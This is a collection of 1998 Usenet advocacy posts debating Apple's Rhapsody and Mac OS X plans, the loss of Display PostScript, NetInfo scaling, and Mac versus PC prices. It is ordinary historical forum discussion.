>The Processes list on the right hand menu might even end up being better than
>app tiles
Hm. Do running apps no longer have tiles? I rather prefer having
the tiles. If the tiles are gone, perhaps it's time for Fiend to
reappear.
> Being able to resize a window from any corner is useful.
Yes, but the windows are rather larger due to the thick frame.
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104> <joe.ragosta-1805980753270001@wil100.dol.net> <ericb-1805981402150001@132.236.171.104> <see-below-1805981822160001@209.24.240.36> <joe.ragosta-1905980801140001@wil104.dol.net> <slrn6mk040.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <356ade5d.0@news.depaul.edu>
Date: 26 May 98 15:23:09 GMT
In comp.sys.next.advocacy Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> Read carefully. Rhapsody/Intel is going to stay. However, MacOS X,
> being the successor to Rhapsody on PPC hardware, is not going to be on
> Intel in any form. That is, all the improvements to the Mach and OpenStep
> part which come between Rhapsody and MacOS X are not going to go to Intel.
> This is a political, not technical, decision.
> I don't know what would happen if they kept on selling Rhapsody/Intel
> for a long time past MacOS X is there. The potential for API
> incompatibilities is worrisome.
API incompatabilities are quite likely. At a minimum, there's the
DPS/no DPS issue. Code that requires pswraps in Rhapsody won't
require them, and can't have them, in OS X or YellowBox/Windows.
I also wouldn't be surprised to see YellowBox/Mach in Rhapsody
essentially frozen at 1.0. Any fixes or enhancements most likely
won't show up for Rhapsody/Intel.
And if Apple really wants to get rid of DPS, they likely
won't want to sell Rhapsody 1.0 after OS X ships.
--
"... and subpoenas for all." - Ken Starr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 26 May 1998 07:04:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1901A04-2D86E@206.165.43.147>
References: <6ke5q0$d5n$10@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>As I understand it (and I'm sure folks from Apple have posted publicly)
>investigations showed that MacOS is so broken wrt the system services YB
>requires that it would take longer to get YB on MacOS than to develop
MacOS
>X. It's not that Apple doesn't want to give you whatyou want here, it's
an
>engineering impossibility.
Either they knew this when the NeXT purchase was made, or someone screwed
up with the initial evaluation. There's been NO claim ever made by any
Apple employee that I have heard about that the current OS model (based on
System 7.x) for MacOS can support the kind of services that YB requires so
they must have known since Day 1 of the NeXT purchase that they had to
create a more modern MacOS in order to run YB apps.
In other words, now they are saying that the more modern MacOS will NOT
provide the services that were promised for 4 years to purchasers of the
first 2 generations of PowerMacs because MacOS X will not run on pre-G3
PowerMacs, new YB apps will not run on older Macs and no MacOS before X
will support pre-emption and protected memory of the caliber that was
promised by Apple in the published book _MacOS 8 Revealed_.
I wonder of the Reality Distortion Field is proof against class action
lawsuits.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Tue, 26 May 1998 10:36:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <joe.ragosta-2605981037000001@wil134.dol.net>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147>
In article <B1901AA8-2FF0A@206.165.43.147>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >But let's narrow it down to a _meaningful_ question. "Of the people who
> >have actually used both Rhapsody and WinNT, how many consider Rhapsody
> >to
> >be superior?"
>
>
>
> Let's change it to a more _relevant_ question: how many people are going to
> *bother* to find out which is superior?
Except that that changes the meaning of the question entirely. It started
out as a _quality_ question and you just changed it into a _quantity_
question.
But since you obviously can't tell the difference, that shouldn't be a surprise.
>
> The projected answer to this question is likely what Apple has dropped the
> idea of a cross-platform *OS* strategy rather than an API strategy.
I would think that it's just the opposite--a fear that enough people would
be buying Rhapsody/Intel instead of Rhapsody/PPC to cost Apple too many
hardware sales.
But since neither one of us knows the real answer, let's just stick to the
initial question--of whether Rhapsody is superior to WinNT.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 26 May 1998 10:02:07 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ke3uv$n7a$2@ns3.vrx.net>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147>
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In <joe.ragosta-2605981037000001@wil134.dol.net> Joe Ragosta claimed:
> Except that that changes the meaning of the question entirely. It started
> out as a _quality_ question and you just changed it into a _quantity_
> question.
I don't know Joe, I think you've taken this way too far. For many people
quantity is indeed a quality of it's own.
Maury
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 26 May 1998 10:03:31 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kei3j$33f$1@crib.bevc.blacksburg.va.us>
References: <356573e8.5831486@nntp.atl.mindspring.com> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk> <joe.ragosta-2605981108410001@wil92.dol.net>
In article <joe.ragosta-2605981108410001@wil92.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6ke87q$d5n$12@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
> Wasn't there a discussion about a third party making a "Shelf" utility?
Yes, and there's already a prototype TheShelf.app. It might not be
possible to achieve the complete integration into the Workspace/Finder
that an Apple offering would, though.
> > I don't like the way the Workspace becomes the active app if you click on
> > the desktop.
> Why? What other behavior would make sense?
To do nothing. It's a metaphor thing, I guess: MacOS treats the desktop
in this respect as if it were a window. It's not obvious to me why this
should be the appropriate behavior. OTOH, it's probably necessary when
you don't have a NeXT icon in the Dock to double-click on, and don't
want to hunt down a Finder window.
> > It's a shame they don't trust Mac-users enough to allow them to destroy
> > files instantly with Command-r.
> Actually, this sounds like a good thing for default, but you're probably
> right that it should be an option.
It had better, and with an assignable command-key. I use this
extensively in preference to trashing files.
> > having the Command-r shortcut to take you to the original is useful too.
> "Command-r" is the same command you just mentioned earlier for deleting
> files. Typo?
They used that key assignment for something else.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Tue, 26 May 1998 11:15:07 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2605981115070001@dante.eng.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <6ke3dg$n7a$1@ns3.vrx.net>
In article <6ke3dg$n7a$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <rmcassid-2505982311390001@dialin9062.slip.uci.edu> Robert Cassidy
>claimed:
>> > OpenGL in QTML makes me nervous and unhappy. Does it require more memory
>> > than just-plain-OpenGL?
>>
>> If they do it right, it should be very little more memory. Negligible I
>> would think.
>
> The fear factore here, one that's true so far, is that QTML under MacOS-X
>will simply be a port similar to the Windows port is today - provide Mac
>API's for needed functionality and don't change any of the QT code.
And that's a valid fear to have. But Apple seems to 'get' Quicktime again.
And if YB is the future API for Apple, then they should demonstrate that.
Time to eat your own dog food, Apple.
If Apple has to pick one technology to move from MacOS to YB in its
entirety, I would think QT would have to be the one. If Apple is
listening, then we should start telling them why we think it is important
and why we see not doing it as the wrong message to send.
-Bob Cassidy
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 22 May 98 08:58:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May22085810@slave.doubleu.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
<6jnfkr$qjg$3@news.idiom.com> <SCOTT.98May18212504@slave.doubleu.com>
<6k1usp$34b$2@news.idiom.com>
In-reply-to: jcr.remove@this.phrase.idiom.com's message of 21 May 1998 19:22:01 GMT
In article <6k1usp$34b$2@news.idiom.com>,
jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
Scott Hess may or may not have said:
-> NetInfo as currently implemented has some scaling problems, and
-> there are problems for which the scaling problems are intrinsic
-> to the problem, not the implementation.
Still? I've seen it working fine for > 4000 hosts. I can't think
of anything that does a better job.
As I understand the problem, it's not so much the number of NetInfo
daemons that are serving the information, it's the amount of
information being served. Various of the larger schools have long
complained about NetInfo's handling of upwards of 10k user accounts.
Unfortunately, there may be some question as to whether this is still
being tested, given the current state of the NeXTSTEP "market" (put
another way, I'd be surprised if these larger schools still are using
NetInfo in any significant fashion).
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 22 May 98 09:10:04
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May22091004@slave.doubleu.com>
References: <6k1uic$6dp$1@crib.bevc.blacksburg.va.us> <6k1vqo$itb@shelob.afs.com>
In-reply-to: Greg_Anderson@afs.com's message of 21 May 1998 19:38:00 GMT
In article <6k1vqo$itb@shelob.afs.com>,
Greg_Anderson@afs.com (Gregory H. Anderson) writes:
Nathan Urban writes
> In article <SCOTT.98May18215210@slave.doubleu.com>,
> scott@doubleu.com (Scott Hess) wrote:
> > And _PLEASE_ do not tell me that in order to draw with my
> > advanced object-oriented environment, I have to revert to a
> > palpimset function-based API,
>
> I've run through all of the words, acronyms, and potential
> misspellings I can think of, to no avail. So tell me.. what the
> heck is "palpimset"??
I believe Scott meant to say "palimpsest", which according to
Webster is "writing material (as a parchment or tablet) used one or
more times after earlier writing has been erased".
Yes! I _knew_ that someone would find me a correct spelling if only I
posted. [Usually Webster's manages that for me :-).]
As long as I'm here, I intended to refer to the fact that you can
generally see that there was previous writing, but it's generally very
hard to figure out what the writing _was_. In this case, I'm
suggesting that systems like MacOS and Windows95/NT have many levels
of API which address overlapping problems, with the reasoning behind
each API often obscured by later revisions.
Worse, under some systems the later APIs don't superset the similar
earlier APIs, so often programming becomes a process of weeding out
your choices. NeXT has been very good with a
two-revisions-and-you're-out policy, painful for people using the
older APIs, but keeping the APIs manageable for everyone else,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 22 May 98 10:39:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May22103910@slave.doubleu.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com>
<6jhnld$a3v$1@crib.bevc.blacksburg.va.us><355C6969.6907242B@trilithon.com>
<355c988e.0@192.33.12.30><6jnfkr$qjg$3@news.idiom.com>
<SCOTT.98May18212504@slave.doubleu.com>
<Pine.GSO.3.96.980521182457.13182C-100000@shell.clark.net>
In-reply-to: 's message of Thu, 21 May 1998 18:26:01 -0400
In article <Pine.GSO.3.96.980521182457.13182C-100000@shell.clark.net>,
<gbh@middlemarch.net> writes:
Scott wrote:
> [...] NetInfo as currently implemented has some scaling
> problems, and there are problems for which the scaling problems
> are intrinsic to the problem, not the implementation.
What type of problems and at what point do they occur?
The problems I've discussed with people generally relate not to the
number of machines using NetInfo so much as the amount of info in
NetInfo. So, thousands of machines can use it, but if you have 10k
user accounts, things get pokey, both at query time (more frequent
than you think) and moreso at update time.
Also, what would work better than NetInfo to address these
problems?
I'm not sure there _are_ good ways to address it, because some of the
problems may be more due to how the info is used than the info itself.
Other than that, I'd guess some sort of batch mode would be very
helpful. Something where you can scedule the updates, and hint them
so that the data propagates at a low level (ie, file copies) rather
than a high level (NetInfo data structures).
This may be something that can be fixed with the various database
replication technology that's come into being since NetInfo was
created.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 26 May 1998 18:38:36 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6kf27c$car@nrtphc11.bnr.ca>
References: <6js15o$1cc$109@ironhorse.plsys.co.uk> <356999BD.70545488@localhost.localdomain> <B18F1D0C-4BB8C@206.165.43.100> <6kda10$cc1$1@nnrp3.snfc21.pbi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <rex-2005982242410001@192.168.0.3> Eric King,
rex@smallandmighty.com writes:
>Starmax 6000/300 pulled in 5.6, Apple's new G3/300 pulled in 5.3. Pretty
This is due to 1:2 versus 1:1 cache.
You can get 1:1 cache upgrades for the G3s
Matthew Cromer matthew_cromer@iname.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: 26 May 1998 13:55:49 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kehl5$51v$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <rmcassid-2205981007210001@dante.eng.uci.edu>
<se <6ke3dg$n7a$1@ns3.vrx.net> <6kei7p$345$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6kei7p$345$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> What's CORDS?
Sorry to be secretive, but until it's up on StepWise I'd like to keep it
out of public view.
Maury
From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 26 May 1998 17:41:06 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <EtJ82o.p7@basil.icce.dev.rug.null.nl>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3>
rex@smallandmighty.com (Eric King) wrote:
> Have we? Let's see, in the beginning of these debates we said that
> Apple should not use DPS as the primary imaging engine because we had
> doubts about its performance and because it belonged to Adobe.
> You guys told us that it would be a *huge* task to remove DPS from the
> Appkit, and that it made no sense to remove it because 'It just works' You
> also assured us that it had no performance problems and that Adobe would
> have to be crazy not to come to reasonable licensing terms with Apple.
> There was also blather about how you needed DPS for true WYSIWYG, EPS
> support, NSHosting, how the publishing market was absolutely drooling over
> it, how it was one of the fastest RIPs in existence etc. etc.
> So where are we today?
Yep, it's the old Apple tune "snatching defeat from the jaws of victory" again.
<sigh...>
(For the record, I'm one of "you guys". (And boy do you make us feel like part
of the happy family:-))
Frustratedly yours,
--
__/__/__/__/ Tom Hageman <tom@basil.icce.dev.rug.null.nl> [NeXTmail/Mime OK]
__/ __/_/ IC Group <tom@dev.icgroup.null.nl> (work)
__/__/__/
__/ _/_/ Confused? You will be after the NeXT episode.
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 22 May 98 15:05:11
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May22150511@slave.doubleu.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com>
<01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU>
<6k4d8f$ge0$1@news.cs.tu-berlin.de>
In-reply-to: marcel@cs.tu-berlin.de's message of 22 May 1998 17:39:27 GMT
In article <6k4d8f$ge0$1@news.cs.tu-berlin.de>,
marcel@cs.tu-berlin.de (Marcel Weiher) writes:
Re-read Mike's post.
He was very clear in separating
(a) NSHost capability, the current protocol which requires DPS
(b) remote display capability, which does not
Supporting option (a) is not possible because there is no
Postscript interpreter included with MacOS X.
There seems to be no problem in supporting (b) except for available
time and priorities. Additionally, there may be support for third
parties to provide this capability.
The "problem", such as it is, is that to support remote display, you
effectively have to reinvent the ability to transmit the drawing and
event data over some stream connection. DPS gets this basically for
free, due to how it's designed (sending a stream of ASCII data over a
socket is the height of trivial. Doing it efficiently is where the
trouble is).
The thing is, there's no real reason why they couldn't duplicate the
DPS transmission layer, and redirect it to a different windowserver
(which is where the _real_ Adobe stuff is). I'm willing to bet that
you could even retain binary compatibility for 95% of the apps out
there for NeXTSTEP/OpenStep. The things that you couldn't retain
compatilibity with would be the windowPackage.ps, the AppKit, and
certain specialized drawing apps.
Heck, given the way that the DPS client library works, you wouldn't
even have to have much in the way of a parser in the server - and at
that, what's hard about an RPN parser? I'd estimate that if you
started with a decent drawing subsystem, you could write a
client/server comm layer modelled on DPS's client library in six
months or so. The hard part isn't in the communications layer, it's
in the drawing layer.
Gosling did it with NeWS, after all,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 26 May 1998 12:31:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1906698-5F2F7@206.165.43.154>
References: <6kejq7$6na$1@bartlet.df.lth.se>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Christian Brunschen <cb@bartlet.df.lth.se> said:
>Sadly, your treatment of DPS -
>where you consistently kept bringing up falsehoods about DPS and PS - has
>left many with the impression that you are more interested in bashing
>everything non-GX than in actually looking for the facts, and what good
>features might be available in the other system(s) in question.
Falsehoods or misconceptions? Besides, some of my "falsehoods" have been
used by Apple as rationalizations for why DPS has been dropped, so either
Apple is lying (plausible, since they wouldnt' want to admit that licensing
of DPS has proven impractical) or the people that blasted me for spreading
my falsehoods were, at best, misinformed themselves (also plausible, but
less so, since many of my "falsehoods" were acknowledged as real issues
with DPS in a recent thread about "anti-advocacy" of DPS, so obviously
people were aware that even if the issues I raised were not insurmountable,
they WERE a legitimate concern, rather than being merely "false.")
And, as for the inverseability of 3x2 matrices...
I'd rather be able to edit 3D-perspectivized text (something that most
people that ever do anything more than simple text-processing would like to
be able to do in letters to friends, posters, etc) and if you truely need
an invertable matrix, don't use the non-affine features of the 3x3.
I mean, really. To suggest that having too many options is a Bad Thing
because some of those options don't allow one to do Something Else is,
well, silly.
If you need to do that Something Else, don't use those options that
preclude that Something Else, but for heaven's sake, don't prevent people
that don't care about that Something Else from doing the other things in
the first place.
In fact, FreeHand 8.0 allows one to apply perspective to text and other
graphics so obviously it is useful to SOME people.
By including the 3x3 matrix as the default for all graphics, you make it
available in lowest common denominator graphics packages, rather than as an
option on the ultra-high-end.
Do you condemn the 3x3 transform available in QuickTime, BTW?
Why condemn it in GX and why not make it available in QDe?
Since QDe is really just the graphics primitives of DPS directly exposed, a
3x3 matrix can't currently work, BUT you could create an API that provided
a 3x3 matrix as the default transform matrix but warn programmers that the
1.0 version wouldn't recognize the extra elements while later versions
would.
They did it with QT's 3x3 matrices, so why not with QDe?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: 26 May 1998 11:39:50 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6keno6$3dq$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6ke3dg$n7a$1@ns3.vrx.net> <6kei7p$345$1@crib.bevc.blacksburg.va.us> <6kehl5$51v$1@ns3.vrx.net>
In article <6kehl5$51v$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6kei7p$345$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > What's CORDS?
> Sorry to be secretive, but until it's up on StepWise I'd like to keep it
> out of public view.
Then why did you tell us to read up on it at OSF??
I just did a web search on it and found:
http://www.camb.opengroup.org/RI/system/adaptive/cords.htm
Presumably this is what you were talking about, but I guess I'll have
to wait for the Stepwise article?? :-/
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: It would be nice to own a g3 BUT....
Date: 26 May 1998 19:53:24 GMT
Message-ID: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: leadership@apple.com,sjobs@apple.com
I am looking to buy a computer. It MUST run the best operating system in the
world.
So that narrows things down to a pentium or a g3 mac (or 604e mac). A 233 g3
is definitely fast enough for me, as is a p2 300. But a g3 233 costs $1500
mail order, and this does not even have the tower case that the p2 has.
Plus, look what one can get for much less: A LOT MORE!!
Pentium II 300Mhz System€
Intel Pentium II processor,
M715€ motherboard,
64Mb SDRAM,
L2 Pipelined Burst Cache, 512k,
4.3Gb IDE hard drive,
4Mb AGP 3D graphics accelerator,
17" NI .28dp SVGA Color Monitor,
32-speed CD-Rom drive with audio,
3 1/2" floppy drive,
56k€ fax/modem/voice,€
16-bit on board sound,
speakers, 320 watt, surround sound (not shown)
mid-tower case, 250watt power supply
Microsoft compatible mouse,
microphone,
keyboard,
1 year parts & labor warranty.
All this for only $1285!!! I can probably sell my dad the 17 inch monitor
for $300, so this would be only $1000!!! compared to $1500 for the mac g3.
And not only does the mac g3 not in the tower case, but it doesnt have the 4
megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up to
this, without having to spend $100 per item to have it put in, you have to
use apples bto store. Adding the ram to 64 megs, adding vram, and adding a
modem raises the price to over $2000!!!!! Using a minitower its over $2200!!
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Tue, 26 May 1998 16:22:16 -0400
Organization: http://www.judas-priest.com
Message-ID: <6kf8b2$kbk@bgtnsc02.worldnet.att.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
macghod@concentric.net wrote:
> =
> I am looking to buy a computer. It MUST run the best operating system =
in the
> world.
> So that narrows things down to a pentium or a g3 mac (or 604e mac). A =
233 g3
> is definitely fast enough for me, as is a p2 300. But a g3 233 costs $=
1500
> mail order, and this does not even have the tower case that the p2 has.=
> Plus, look what one can get for much less: A LOT MORE!!
> =
> Pentium II 300Mhz System=80
> =
> Intel Pentium II processor,
> M715=80 motherboard,
> 64Mb SDRAM,
> L2 Pipelined Burst Cache, 512k,
> 4.3Gb IDE hard drive,
> 4Mb AGP 3D graphics accelerator,
> 17" NI .28dp SVGA Color Monitor,
> 32-speed CD-Rom drive with audio,
> 3 1/2" floppy drive,
> 56k=80 fax/modem/voice,=80
> 16-bit on board sound,
> speakers, 320 watt, surround sound (not shown)
> mid-tower case, 250watt power supply
> Microsoft compatible mouse,
> microphone,
> keyboard,
> 1 year parts & labor warranty.
> =
> All this for only $1285!!! I can probably sell my dad the 17 inch moni=
tor
> for $300, so this would be only $1000!!! compared to $1500 for the mac =
g3.
> And not only does the mac g3 not in the tower case, but it doesnt have =
the 4
> megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 u=
p to
> this, without having to spend $100 per item to have it put in, you have=
to
> use apples bto store. Adding the ram to 64 megs, adding vram, and addi=
ng a
> modem raises the price to over $2000!!!!! Using a minitower its over $=
2200!!
> =
> --
> Running on Openstep 4.2, the best os in the world, and about to get bet=
ter!
> MACHEAD SEEKS qa work!!, email me for resume
> NeXTMail and MIME OK!
Number one, if you want to run the best OS in the world, that eliminates
the PII, no?
Second, consider the quality of that PII you priced out. Where is this
box from? Joe Schlemlo's Computer Corner? A 17" monitor worth $300? Must
be a piece of shit! I can't remember ever seeing a GOOD 17" for under
$600... The Mac's sound is comparable, if not superior, to what this PII
probably has. I've seen plenty of my co-workers buy a system just like
yours with the speakers included. And let's just say they weren't of
Bose quality.....
So that leaves you with the need for RAM and a modem. 32 MB is around
$80. Modem....I've seen the 56K GV Platinum for $110. =
Yeah, you might be paying a bit more, but remember you get what you pay
for. As our friend Butthead always said: "You can't polish a turd,
Beavis."
-DC
Date: Tue, 26 May 1998 11:42:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <joe.ragosta-2605981142210001@wil114.dol.net>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147> <joe.ragosta-2605981037000001@wil134.dol.net> <6ke3uv$n7a$2@ns3.vrx.net>
In article <6ke3uv$n7a$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <joe.ragosta-2605981037000001@wil134.dol.net> Joe Ragosta claimed:
> > Except that that changes the meaning of the question entirely. It started
> > out as a _quality_ question and you just changed it into a _quantity_
> > question.
>
> I don't know Joe, I think you've taken this way too far. For many people
> quantity is indeed a quality of it's own.
But go back and review the thread. Someone said that Rhapsody was better
than NT. Instead of refuting that statement, Lawson said that the real
question was how many people were using NT vs. Rhapsody.
There's no problem discussing quantity. Market share is certainly an issue
to consider under the appropriate circumstances.
It is _not_, however an appropriate response to a discussion on which OS
is better.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Tue, 26 May 1998 11:43:19 -0500
Organization: Texas Instruments
Message-ID: <MPG.fd4ad1e7535078a989745@news.itg.ti.com>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147> <joe.ragosta-2605981037000001@wil134.dol.net> <6ke3uv$n7a$2@ns3.vrx.net> <joe.ragosta-2605981142210001@wil114.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> In article <6ke3uv$n7a$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
> Markowitz) wrote:
>
> > In <joe.ragosta-2605981037000001@wil134.dol.net> Joe Ragosta claimed:
> > > Except that that changes the meaning of the question entirely. It started
> > > out as a _quality_ question and you just changed it into a _quantity_
> > > question.
> >
> > I don't know Joe, I think you've taken this way too far. For many people
> > quantity is indeed a quality of it's own.
>
